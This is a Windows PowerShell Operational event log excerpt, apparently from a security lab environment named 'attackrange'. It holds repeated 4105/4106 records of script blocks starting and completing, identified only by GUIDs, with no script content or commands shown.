09/09/2021 09:48:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022544
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:48:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022543
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:48:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022542
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:48:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022541
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:48:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022540
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:48:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022539
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:48:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022538
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:48:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022537
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:48:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022536
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:48:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022535
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022554
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022553
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022552
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022551
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022550
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022549
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022548
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022547
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022546
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:01 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022545
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022564
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022563
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022562
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022561
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022560
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022559
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022558
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022557
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022556
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022555
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022574
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022573
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022572
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022571
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022570
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022569
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022568
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022567
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022566
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022565
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022584
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022583
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022582
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022581
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022580
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022579
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022578
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022577
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022576
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022575
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022594
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022593
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022592
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:49:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022591
Keywords=None
